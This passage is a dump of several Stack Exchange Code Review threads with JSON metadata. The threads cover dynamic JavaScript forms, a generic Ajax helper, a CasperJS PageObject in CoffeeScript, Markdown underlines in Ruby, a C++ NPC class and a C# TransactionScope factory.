"body": "<p>To create dynamic forms and elements in javascript is easy.</p>\n\n<pre><code>var newdiv = document.createElement('div'); // Creates the div\ndocument.body.appendChild(newdiv); // Adds the div to body\n</code></pre>\n\n<p>After that, you can access newdiv and change attributes of it, such as </p>\n\n<pre><code>newdiv.className = \"helloworld\";\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T16:26:06.970",
"Id": "16670",
"Score": "0",
"body": "Can you use createElement in a nested way (see my edit above)? I mean, if I want to put \"form\" into \"div\", I just call newdiv.createElement('form')? Or is it document.body.newdiv.appendChild(newform)?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T16:32:39.750",
"Id": "16671",
"Score": "0",
"body": "When creating elements, you use document.createElement(), this doesn't add the element to the web page. Then you will want to call newdiv.appendChild(theformyoucreated);"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T17:14:11.403",
"Id": "16672",
"Score": "0",
"body": "Ok, thanks. It almost works... is there \"getCurrentChild\" function? The first document.body.appendChild goes outside the current element. And my function does not know the current element (which is a child of body)."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T17:29:25.593",
"Id": "16674",
"Score": "0",
"body": "Not exactly sure what elements you are trying to get, but getElementsByTagName() might be useful. Or look into jQuery."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T17:50:12.543",
"Id": "16677",
"Score": "0",
"body": "hmm, ok. There seems to be some problems that are related to the document.write. I am not sure in which order these are evaluated... The parent div (tab) that should contain the child div (form container) does not exists because I haven't written </div> to the document when I am appending it. So I have to change all document.write commands to use this appendChild for this to work... anyway now I know how to get it to work."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T15:50:13.720",
"Id": "10461",
"ParentId": "10451",
"Score": "2"
}
},
{
"body": "<p>Why are you \"adding\" the form dynamically like this in the first place?</p>\n\n<p>IMHO you shouldn't be generating the HTML neither with <code>document.write</code> nor <code>document.createElement</code> in this case, since the actual form seems to be static.</p>\n\n<p>Instead just add the form normally in your HTML</p>\n\n<pre><code><form id=\"ttmsetpointrun\">\n <input type=\"submit\" value=\"Move to Set Point\" />\n</form>\n</code></pre>\n\n<p>but hide it in your CSS:</p>\n\n<pre><code>#ttmsetpointrun { display: none }\n</code></pre>\n\n<p>and then display it with JavaScript when the user clicks in the tab</p>\n\n<pre><code><a href=\"#\" onclick=\"document.getElementById('ttmsetpointrun').style.display = 'block'\">Link</a>\n</code></pre>\n\n<p>If you want the form to be in a separate file, then include it using a server-side script (e.g. PHP).</p>\n\n<p>Finally remember to use an external style sheet. If you put your styles into the HTML you are doing something wrong.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T22:43:45.167",
"Id": "16738",
"Score": "0",
"body": "When the code was written for the first time, it was all static html. Then I modified that common tab content is parsed from xml file by javascript. This specialTabContent was just a quick hack that I am now fixing. The page is actually 90% javascript, and now I think I will get rid of the last of the html lines from the body."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T10:13:33.047",
"Id": "16802",
"Score": "0",
"body": "@Juha Hmm, \"Getting rid\" of HTML sounds like a strange (and wrong) thing to do for a web page. Why would you want to do that? What is your scenario?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T08:46:18.347",
"Id": "16854",
"Score": "0",
"body": "This is not a web page ;). Well, technically it is, as all the interpreters require the html etc. tags at the beginning. This is an UI for measurement devices. The other components catch the http-post commands in JSON form. Also it is very portable to any kind of device: smartphone, pc, mac, tablet..."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T12:23:04.993",
"Id": "10486",
"ParentId": "10451",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "10461",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T13:45:26.883",
"Id": "10451",
"Score": "4",
"Tags": [
"javascript",
"design-patterns",
"html"
],
"Title": "How to add forms dynamically in javascript?"
}
|
10451
|
<p>Not sure if this question will be considered "off topic". If it is, I'll remove it, but:
I hadn't see this yet so I wrote it and would like to know if this is a good approach to it. Would anyone care to offer improvements to it, or point me to an example of where someone else has already written it better?</p>
<pre><code>function clwAjaxCall(path,method,data,asynch)
{
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
if(asynch)
{
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
//alert(xmlhttp.responseText);
//var newaction=xmlhttp.responseText;
//alert('Action becomes '+newaction);
return xmlhttp.responseText;
}
}
}
if(method=='GET'){path=path+"/?"+data;}
xmlhttp.open(method,path,asynch);
if(method=='GET'){xmlhttp.send();}else{xmlhttp.send(data);}
if (!asynch){return xmlhttp.responseText;}
}
</code></pre>
<p>I then called it like</p>
<pre><code>Just Testing
<script type="text/javascript" src="/mypath/js/clwAjaxCall.js"></script>
<script type="text/javascript">
document.write("<br>More Testing");
document.write(clwAjaxCall("http://www.mysite.com",'GET',"var=val",false));
</script>
</code></pre>
<p><strong>UPDATE</strong></p>
<p>I don't know if it's any better to anyone else than it was before, but I like it. :-)</p>
<p>I have re-written it like this:</p>
<pre><code>// I wrote this with help from StackOverflow and have twaeked it some since then.
// call it like this:
//
// var holder={};
// holder.text='';
// watch(holder,function(){ //depends on watch.js. You might choose a different watch/observe method.
// //do stuff with holder.text in here
// });
// var path='http://www.example.com/?key=value';
// AjaxCall(path,"get",null,true,holder);
function AjaxCall(path,method,data,asynch,holder){
// holder is expected to be an object. It should be watched with watch.js, Object.observe or a similar method as they become available.
var xmlhttp;
if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
if(asynch){
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200){
holder.text=xmlhttp.responseText;
}
}
}
if(method=='GET'){path=path+"/?"+data;}
xmlhttp.open(method,path,asynch);
if(method=='GET'){xmlhttp.send();}else{xmlhttp.send(data);}
if (!asynch){return xmlhttp.responseText;}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T13:48:33.747",
"Id": "16657",
"Score": "0",
"body": "I think You're right. I've seen questions get moved before, but I don't know how / probably don't have the proper permissions to do it yet. I did just create an account over there. Thanks."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T13:49:46.077",
"Id": "16658",
"Score": "0",
"body": "You can flag the question for moderator attention so it gets migrated. Click the flag link under the question."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T14:09:01.910",
"Id": "16659",
"Score": "0",
"body": "I've already found an issue with it, and it might just be me not quite knowing how the implement it, and that's when async is set to true, I'm getting \"undefined\" as my output."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T14:11:01.937",
"Id": "96282",
"Score": "0",
"body": "Use jQuery ( see http://api.jquery.com/jQuery.ajax/ ). They have a robust set of Ajax methods and other good stuff."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T14:42:02.103",
"Id": "96283",
"Score": "0",
"body": "I see a lot of \"use JQuery\" responses and half way expect them to be sarcastic, but that does look like a robust solution. (just for practice, I think I'll tweak mine to accept a function name for asynch requests anyway.)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T21:55:34.070",
"Id": "96284",
"Score": "0",
"body": "jQuery is a good solution. If nothing else, per your \"tweak\" comment, compare your Ajax method vs the one they have coded."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T01:20:17.853",
"Id": "96285",
"Score": "0",
"body": "So, the success: hook would be the feature I'm talking about. I think I get it. Thanks."
}
] |
[
{
"body": "<p>Your code seems fairly robust, but it is inefficient. Here are a few ways you could speed it up.</p>\n\n<ul>\n<li>Reuse request objects. There is a good bit of overhead creating these, so you definitely want to be reusing these if you are making more than a few requests per page. But be careful - some older browsers have strange quirks about reused request objects.</li>\n<li>Don't make a new function for every onreadystatechange. The function is executed with xmlhttp as the context, so, within that function, this === xmlhttp.</li>\n<li>Whenever possible, cache. You can cache whether the browser supports XMLHTTPRequest or ActiveX so you don't check every time the function is called.</li>\n<li>synchronous requests are usually a bad idea. Are you sure you should be using them? If not, don't write code that is more general than it needs to be. It will just make the function less efficient.</li>\n</ul>\n\n<p>Also, you're missing a semicolon.</p>\n\n<p>As an example, here's a loader function I wrote a while ago. The feature set is a little different than yours - it doesn't support synchronous requests, but it does support error handlers, data encoding, and timeouts - and behind the scenes it implements all the optimizations above. Like your code, it results in a single function; the simplest use case would be <code>load('log.php');</code>.</p>\n\n<pre><code>/***\n* load.js\n* Simplifies use of ajax.\n* parameters\n* url : String : address of requested content\n* options : Object : (optional) additional parameters. All keys are optional.\n* onload : Function : passed request.responseText on success\n* onfail : Function : passed status on status!=200 or 'timeout' on timeout\n* post : Object : POST key-value pairs. GET is used when post==false\n* timeout : Number : seconds to wait before aborting request\n***/\n\nvar load=(function() {\n var pool=[],\n getReq=window.XMLHttpRequest?\n function() {return new XMLHttpRequest();}:\n function() {return new ActiveXObject('Microsoft.XMLHTTP');};\n function statechange() {\n if(this.readyState==4) {\n clearTimeout(this.t);\n this.onreadystatechange=null;\n pool[pool.length]=this;\n var fn=this.o[this.status==200?'onload':'onfail'];\n delete this.o;\n fn&&fn(this.status==200?this.responseText:this.status);\n }\n }\n return function(url,options) {\n var req,t,data='';\n req=pool.length?pool.pop():getReq();\n req.o=options=options||{};\n if(options.post) {\n for(t in options.post)\n data+='&'+encodeURIComponent(t)+'='+encodeURIComponent(options.post[t]);\n data=data.substring(1);\n req.open('POST',url,true);\n req.setRequestHeader('Content-type','application/x-www-form-urlencoded');\n } else {\n req.open('GET',url,true);\n }\n req.onreadystatechange=statechange;\n req.send(data||undefined);\n if(options.timeout) {\n req.t=setTimeout(function() {\n req.onreadystatechange=null;\n req.abort();\n pool[pool.length]=req;\n if(req.o.onfail)\n req.o.onfail('timeout');\n },options.timeout*1000);\n }\n };\n})();\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T23:16:28.290",
"Id": "16787",
"Score": "0",
"body": "Nice library-independent load functionality, boost :) Have you thought about componentizing it by returning an object with the load (and possible future) method(s) as properties, as opposed to putting your load method on the global object?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T12:37:24.920",
"Id": "16816",
"Score": "0",
"body": "Thanks. When I wrote this it was purely for my own use, so no, I hadn't. But now that you mention it, I really shouldn't be forcing `load` into the global context. I updated the code (I still don't want to return an object though, because I like the simplicity of `load(url);`.)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T14:53:32.583",
"Id": "16823",
"Score": "0",
"body": "When I have time, I'll try that out. Thanks."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T18:14:35.400",
"Id": "10546",
"ParentId": "10453",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "7",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T13:33:43.670",
"Id": "10453",
"Score": "2",
"Tags": [
"javascript",
"ajax"
],
"Title": "Generalized Ajax function"
}
|
10453
|
<p>I'm using <a href="http://casperjs.org/" rel="nofollow">CasperJS</a> and CoffeeScript for integration testing of a hobby project. <a href="https://code.google.com/p/selenium/wiki/PageObjects" rel="nofollow">Page Objects</a> seem to be a useful abstraction. I had two major requirements:</p>
<ul>
<li>Support for node.js style callbacks - mainly because tests can then be written using <a href="https://github.com/caolan/async#waterfall" rel="nofollow">async.waterfall</a></li>
<li>Support extending (subclassing) to encapsulate common functionality, like a sidebar or a navbar</li>
</ul>
<p>Here's the code, followed by a brief example of how I use it. It's a bit long, but that's about the shortest meaningful example I can give.</p>
<pre><code>class PO # Base PO
@casper: null
# name: The name of the page object. Used to access it as PO[name], which is kind of like a forward declaration
# selector: The page represented by this PO is considered to be ready for usage once this is visible
# mixin: An object; properties of this will be mixed into the new instance
constructor: (@name, @selector, mixin) ->
if PO[@name] isnt undefined
throw "Failed creating PO #{@name}: a PO instance or class method with this name already exists"
PO[@name] = this
@__defineGetter__ 'casper', -> PO.casper
this[key] = val for key, val of mixin
waitUntilVisible: (cb) -> @casper.waitUntilVisible @selector, cb
# Switch to po, and call the callback cb with err and the po as parameters
next: (cb, po, err=null) ->
t0 = Date.now()
msg = "Switching to PO #{po.name}"
@casper.log msg, 'debug'
po.waitUntilVisible =>
@casper.log "#{msg}: done in #{Date.now() - t0}ms", 'debug'
cb err, po
po
new PO 'navbar', '',
tabs: {}
logout: (cb) ->
@casper.click '#logout'
@casper.waitFor (=> not @haveLogin()), (=> cb null, PO['login'])
haveLogin: (cb) ->
result = nick == @casper.evaluate -> $('#current-user-nick').text()
cb? result
result
addTab: ({name, switchSelector, readySelector, po}) ->
@tabs[name] = arguments[0]
toTab: (name, cb) ->
cb "Navbar tab #{name} not known", null unless name of @tabs
tab = @tabs[name]
@casper.click tab.switchSelector
@casper.waitUntilVisible tab.readySelector, => cb null, PO[tab.po]
class PON extends PO # PO with navbar
constructor: (name, selector, mixin) ->
super name, selector, mixin
@navbar = PO['navbar']
new PON 'login', '.login-form',
# ...
module.exports = (casper) ->
PO.casper = casper
PO['login']
</code></pre>
|
[] |
[
{
"body": "<p>Do we need to attach a <code>casper</code> reference to the <code>PO</code> class?\nBy using the module pattern you inject the dependency anyway.\nHere is the <code>P0</code> class with a tiny refactoring:</p>\n\n<pre><code>module.exports = (casper) ->\n\n class PO \n constructor: (@name, @selector, mixin={}) ->\n if PO[@name]?\n throw new Error \"Failed creating PO #{@name}: ...\"\n PO[@name] = @\n @[key] ?= val for own key,val of mixin\n\n waitUntilVisible: (cb) ->\n casper.waitUntilVisible @selector, cb\n @\n\n next: (po, cb) ->\n t0 = Date.now()\n msg = \"Switching to PO #{po.name}\"\n casper.log msg, 'debug'\n po.waitUntilVisible (err) ->\n casper.log \"#{msg}: done in #{Date.now() - t0}ms\", 'debug'\n cb err, po\n</code></pre>\n\n<p>Then you would use it like this:</p>\n\n<pre><code>casper = require 'casper'\nPO = require('MyModuleName') casper\n\nnew PO 'navbar', '',\n tabs: {}\n logout: (cb) ->\n casper.click '#logout'\n casper.waitFor (=> not @haveLogin()), (err) -> cb err, PO.login\n\n haveLogin: (cb) ->\n result = nick is casper.evaluate -> ($ '#current-user-nick').text()\n cb? result\n result\n\n addTab: ({name, switchSelector, readySelector, po}) ->\n @tabs[name] = arguments[0]\n\n toTab: (name, cb) ->\n cb new Error \"Navbar tab #{name} not known\" unless name of @tabs\n tab = @tabs[name]\n casper.click tab.switchSelector\n casper.waitUntilVisible tab.readySelector, (err)-> cb err, PO[tab.po]\n</code></pre>\n\n<p>On extending the class you can skip the constructor (as long as it's the same like the one of the superclass) and attach the <code>PO['navbar']</code> to the prototype.</p>\n\n<pre><code>class PON extends PO\n navbar: PO.navbar\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2013-10-06T16:10:58.130",
"Id": "51620",
"Score": "0",
"body": "Both are valid points, thank you! Regarding the injection of the casper object: I feel better if I put only the minimum amount of code into module.exports, because I feel it's easier to control what gets exported that way. I don't have any real data to support that though. Is there a best practice regarding this?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2013-10-07T14:30:42.893",
"Id": "51712",
"Score": "0",
"body": "`module.exports = (dependency) -> class Foo` is the same as `class Foo; module.exports = (dependency) -> Foo`. But you're right exposing methods of big modules might be better done like `module.exports = (dependency) -> moduleCode; {foo: bar, baz: \"blub\"}`."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2013-10-05T15:04:33.913",
"Id": "32287",
"ParentId": "10456",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "32287",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T14:16:16.860",
"Id": "10456",
"Score": "2",
"Tags": [
"coffeescript"
],
"Title": "PageObject implementation (CoffeeScript, CasperJS)"
}
|
10456
|
<p>I'm trying to dynamically generate some MarkDown formatted documents, with header fields of arbitrary lengths.</p>
<pre><code>I want to have a title of arbitrary length underlined like this
---------------------------------------------------------------
This should work to
-------------------
</code></pre>
<p>The code I came up with to do this in my ERB views.</p>
<pre><code><%= @title %>
<%= @title.length.times.map{"-"}.join %>
</code></pre>
<p>Is there a more efficient way to make this happen?</p>
|
[] |
[
{
"body": "<p>One way is to use multiplication. Multiplying a String by a Fixnum will produce a new String where the original String appears the Fixnum of times. </p>\n\n<pre><code>\"-\" * @title.length #=> \"---------------\" \n</code></pre>\n\n<p><a href=\"http://ruby-doc.org/core-1.9.3/String.html#method-i-2A\" rel=\"nofollow\">Documentation for String#*</a></p>\n\n<p>Warning: Make sure you put the String first or else you will get a <code>TypeError: String can't be coerced into Fixnum</code> since that would be calling <code>Fixnum#*</code> instead of <code>String#*</code>. </p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T16:18:09.673",
"Id": "10463",
"ParentId": "10459",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "10463",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T14:59:20.090",
"Id": "10459",
"Score": "2",
"Tags": [
"ruby",
"ruby-on-rails",
"markdown"
],
"Title": "Creating MarkDown documents in ruby"
}
|
10459
|
<p>I am wondering about the best way to save on RAM/memory when there are many required arrays (I plan to have many more NPCs and various other arrays with text and items). And I am wondering what I can improve on so far.</p>
<pre><code> #include <iostream>
#include <cstring>
#define NUM_NPC 10 // Number of NPC players
#define DETAILS_HEARTS 0 // Heart Position
#define DETAILS_BDMON 1 // Birthday Month Position
#define DETAILS_BDDAY 2 // Birthday Day Position
#define DETAILS_GENDER 3 // NPC Gender
using namespace std;
class npcPlayers {
public:
int getHearts(int playerID);
int getItem(int playerID, int itemID);
int getBirthdayMonth(int playerID);
int getBirthdayDay(int playerID);
char *getName(int playerID);
npcPlayers();
private:
int npcDetails[NUM_NPC][10];
char npcNames[NUM_NPC][20];
int updateHearts(int PlayerID,int value);
};
npcPlayers::npcPlayers() {
npcNames = {"Ace","Amber","Benny","Ethan","Michael","Jay","William","Mia","Chloe","Emily"};
npcDetails = {
{0,3,5,0}, // Ace
{0,9,20,1}, // Amber
{0,1,10,0}, // Bennny
{0,12,30,0}, // Ethan
{0,2,17,0}, // Michael
{0,6,10,0}, // Jay
{0,8,9,0}, // William
{0,4,1,1}, // Mia
{0,5,13,1}, // Chloe
{0,8,5,1} // Emily
};
}
int npcPlayers::getHearts(int playerID) {
return npcDetails[playerID][DETAILS_HEARTS];
}
int npcPlayers::getItem(int playerID, int itemID) {
}
int npcPlayers::getBirthdayDay(int playerID) {
return npcDetails[playerID][DETAILS_BDDAY];
}
int npcPlayers::getBirthdayMonth(int playerID) {
return npcDetails[playerID][DETAILS_BDMON];
}
char *npcPlayers::getName(int playerID) {
return npcNames[playerID];
}
int main() {
npcPlayers npc;
cout << "Player 1 Details:" << endl;
cout << "Name: " << npc.getName(1) << endl;
cout << "Hearts: " << npc.getHearts(1) << endl;
cout << "Birthday: " << npc.getBirthdayMonth(1) << "/" << npc.getBirthdayDay(1) << endl;
return 0;
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T22:12:14.613",
"Id": "16685",
"Score": "1",
"body": "Unfortunately we could spend a whole book on what you need to know. But a good starting point is to understand OO programming (rather than worry about memory). If you want to write idiomatic C++ you need to start by designing objects (Like A Player) and the actions that can be performed on that player (the interface)."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T11:57:12.940",
"Id": "16697",
"Score": "1",
"body": "I agree. It is impossible to answer, so many things to say...\nRead books, there are a plenty of free C++ reading."
}
] |
[
{
"body": "<ol>\n<li><p>C++ is statically typed programming language. Due to this overhead for allocation of class members is very small.</p></li>\n<li><p>Using of global variables is not a good idea. Such vars like <code>NUM_NPC</code> makes your application non-scalable.</p></li>\n<li><p>Each domain object (like a player or an item) must be described by a same-named class.</p></li>\n</ol>\n\n<p></p>\n\n<pre><code>#include <iostream>\n#include <string>\n#include <vector>\n\ntypedef int Hearts;\ntypedef bool Gender;\n\nstruct Date\n{\n Date(int month,int day) : month(month), day(day) {}\n int month;\n int day;\n};\n\nclass Item\n{\n // TODO: implement\n};\n\nclass Player\n{\npublic:\n Player(std::string name, Hearts hearts, Date birthday, Gender gender)\n : name(name), hearts(hearts), birthday(birthday), gender(gender) {}\n\n Hearts getHearts() const\n {\n return hearts;\n }\n\n const std::vector<Item>& getItems()\n {\n return items;\n }\n\n Date getBirthday() const\n {\n return birthday;\n }\n\n std::string getName() const\n {\n return name;\n }\nprivate:\n std::vector<Item> items;\n Hearts hearts;\n Date birthday;\n std::string name;\n Gender gender;\n};\n\nint main()\n{\n using namespace std;\n\n vector<Player> players;\n players.push_back(Player(\"Ace\", 0, Date(3,5), 0));\n players.push_back(Player(\"Amber\", 0, Date(9,20), 1));\n players.push_back(Player(\"Benny\", 0, Date(1,10), 0));\n players.push_back(Player(\"Ethan\", 0, Date(12,30), 0));\n\n Player& p = players[1];\n cout << \"Player 1 Details:\" << endl;\n cout << \"Name: \" << p.getName() << endl;\n cout << \"Hearts: \" << p.getHearts() << endl;\n cout << \"Birthday: \" << p.getBirthday().month << \"/\" << p.getBirthday().day << endl;\n cout << \"Item count: \" << p.getItems().size() << endl;\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-14T16:01:03.833",
"Id": "10891",
"ParentId": "10460",
"Score": "6"
}
},
{
"body": "<p>There's little need for macros (<code>#define</code>s) in C++, unlike in C:</p>\n\n<blockquote>\n<pre><code>#define NUM_NPC 10 // Number of NPC players\n\n#define DETAILS_HEARTS 0 // Heart Position\n#define DETAILS_BDMON 1 // Birthday Month Position\n#define DETAILS_BDDAY 2 // Birthday Day Position\n#define DETAILS_GENDER 3 // NPC Gender\n</code></pre>\n</blockquote>\n\n<p>The first macro should instead be a constant, using the <code>const</code> keyword:</p>\n\n<pre><code>const int NUM_NPC = 10;\n</code></pre>\n\n<p>The rest of them can be put into an <code>enum</code>:</p>\n\n<pre><code>enum Detail { HEARTS, BDMON, BDDAY, GENDER };\n</code></pre>\n\n<p>Each respective value inside still ranges from <code>0</code> to <code>3</code>.</p>\n\n<p>Inside the class, you're using accessors (\"getters\"), which is bad for encapsulation. Plus, you're only displaying them in the calling code, so you don't even need the values themselves.</p>\n\n<p>Not only that, but you're not constructing the <code>npcPlayers</code> object correctly. You're invoking its default constructor, then passing something to each accessor (which appears to be <code>playerID</code>).</p>\n\n<p>Here's now the object should be constructed:</p>\n\n<pre><code>npcPlayers nps(1);\n</code></pre>\n\n<p>In your class definition, the constructor should be overloaded as such:</p>\n\n<pre><code>npcPlayers(int playerID) : playerID(playerID) {}\n</code></pre>\n\n<p>In order for that to work, you must first add <code>playerID</code> as a new <code>private</code> member.</p>\n\n<p>Finally, create a new <code>public</code> <code>display()</code> member function:</p>\n\n<pre><code>void npcPlayers::display() const\n{\n std::cout << \"Player 1 Details:\\n\";\n std::cout << \"Name: \" << npcNames[playerID] << \"\\n\";\n std::cout << \"Hearts: \" << npcDetails[playerID][DETAILS_HEARTS] << \"\\n\";\n std::cout << \"Birthday: \" << npcDetails[playerID][DETAILS_BDMON]\n << \"/\" << npcDetails[playerID][DETAILS_BDDAY] << \"\\n\";\n}\n</code></pre>\n\n<p>With this, you can simply display all of this in the calling code as such:</p>\n\n<pre><code>npc.display();\n</code></pre>\n\n<p><strong>Misc.:</strong></p>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/1452721/why-is-using-namespace-std-considered-bad-practice\">Try not to use <code>using namespace std</code></a>.</li>\n<li>There's no need to use C-strings in C++. Instead, use <a href=\"http://en.cppreference.com/w/cpp/string/basic_string\" rel=\"nofollow noreferrer\"><code>std::string</code></a> objects.</li>\n<li>You don't need <code>return 0</code> at the end of <code>main()</code>. As successful termination is always implied at this point, the compiler will insert this return for you automatically.</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-08-04T20:26:49.170",
"Id": "59054",
"ParentId": "10460",
"Score": "5"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T15:33:01.227",
"Id": "10460",
"Score": "6",
"Tags": [
"c++",
"beginner"
],
"Title": "Array data-handling with NPC class"
}
|
10460
|
<p>We want to create a <code>TransactionScope</code> factory class that we can use as a central point for instantiating <code>TransactionScope</code>s with varying configurations throughout our app.</p>
<p>One requirement we have is that a method can either:</p>
<ol>
<li>Instantiate a plain <code>TransactionScope</code> whose settings are driven by the defaults in the App.Config</li>
<li>Instantiate a <code>TransactionScope</code> passing some config key, which will pull specific settings from some other source</li>
</ol>
<p>The latter requirement is so that settings can be changed at runtime for specific methods if necessary (e.g. extending a timeout) without having to recompile the system and without affecting all <code>TransactionScopes</code>.</p>
<p><strong>Option 1 - pass config keys via method param on the create methods</strong></p>
<pre><code>public static class TransactionScopeFactory
{
public static TransactionScope Create()
{
return new TransactionScope();
}
public static TransactionScope Create(string configKey)
{
var source = GetConfigSettings(configKey);
if(source != null)
{
var options = new TransactionOptions
{
//IsolationLevel = From Config Source
//Timeout = From Config Source
};
return new TransactionScope(TransactionScopeOption.Required, options);
}
return Create();
}
}
public class Frob
{
public void DoStuff()
{
using (var scope = TransactionScopeFactory.Create()) //Default
{ /*Do Stuff*/ }
}
public void DoFoo()
{
using (var scope = TransactionScopeFactory.Create("DoFoo"))
{ /*Do Foo*/ }
}
public void DoBar()
{
using (var scope = TransactionScopeFactory.Create("DoBar"))
{ /*Do Bar*/ }
}
}
</code></pre>
<p>My only issue with this is that I don't really like the fact that there are different strings peppered throughout the different <code>Create()</code> methods throughout the app. Even moving them to a utility class as <code>const string</code>s makes the code feel less "clean".</p>
<p>I was thinking about another way to do this with MethodAttributes. Instead, the <code>TransactionScopeManager</code> would pull the correct configuration key from a <code>MethodAttribute</code> using reflection and so the actual <code>Create()</code> would only ever be that plain parameter less value.</p>
<p><strong>Option 2 - Pass config keys via method param on the create methods</strong></p>
<pre><code>[AttributeUsage(AttributeTargets.Method, Inherited = false, AllowMultiple = false)]
public class TransactionScopeConfigurationAttribute : Attribute
{
public string ConfigKey { get; set; }
}
public static class TransactionScopeFactory
{
public static TransactionScope Create()
{
string configKey = GetConfigKeyByReflection();
var source = GetConfigSettings(configKey);
if(source != null)
{
var options = new TransactionOptions
{
//IsolationLevel = From Config Source
//Timeout = From Config Source
};
return new TransactionScope(TransactionScopeOption.Required, options);
}
return Create();
}
private static string GetConfigKeyByReflection()
{
var attributes = (from frame in (new StackTrace()).GetFrames()
let attribs = frame.GetMethod().GetCustomAttributes(true).ToList()
select attribs).SelectMany(a => a.ToList());
var attrib = attributes.FirstOrDefault(a => a.GetType() == typeof(TransactionScopeConfigurationAttribute));
return (attrib != null)
? (attrib as TransactionScopeConfigurationAttribute).ConfigKey
: null;
}
}
public class Frob
{
//Default - No Attribute
public void DoStuff()
{
using (var scope = TransactionScopeFactory.Create())
{ /*Do Stuff*/ }
}
[TransactionScopeConfiguration(ConfigKey = "DoFoo")]
public void DoFoo()
{
using (var scope = TransactionScopeFactory.Create())
{ /*Do Foo*/ }
}
[TransactionScopeConfiguration(ConfigKey = "DoBar")]
public void DoBar()
{
using (var scope = TransactionScopeFactory.Create())
{ /*Do Bar*/ }
}
}
</code></pre>
<p>Now <code>TransactionScopeManager</code> only has a single solitary method <code>Create()</code>. Overriding what configuration it should use is now done via a setting on an attribute. I'm kinda torn over this implementation. On the face of it, it seems slightly more elegant and makes the code look a little neater... but at the same time, the behaviour isn't as discoverable (i.e. parameter listing in the IntelliSense popup is pretty obvious, having to use an attribute is not so much).</p>
<p>Also, it introduces reflection into the mix which I'm sure is going to cause a performance hit having to generate and walk those StackTrace/Frames every time I need a new <code>TransactionScope</code>.</p>
|
[] |
[
{
"body": "<p>Eoin, nice job with the second attempt. However, I would stick to your guns on the first style with a few deviations. Either A) pass in enumerations into the create method or B) create an override method with the specific name.</p>\n\n<p>I would highly recommend direction B. This prevents magic strings all over the place and reflection while promoting readability.</p>\n\n<p>Example:</p>\n\n<pre><code>private static TransactionScopeFactory Create(string key){/* primary create */}\n\npublic static TransactionScopeFactory Start(){return Create(\"default_key\");}\n\npublic static TransactionScopeFactory StartFoo(){return Create(\"foo\");}\n\npublic static TransactionScopeFactory StartBar(){return Create(\"bar\");}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T07:55:58.450",
"Id": "16691",
"Score": "0",
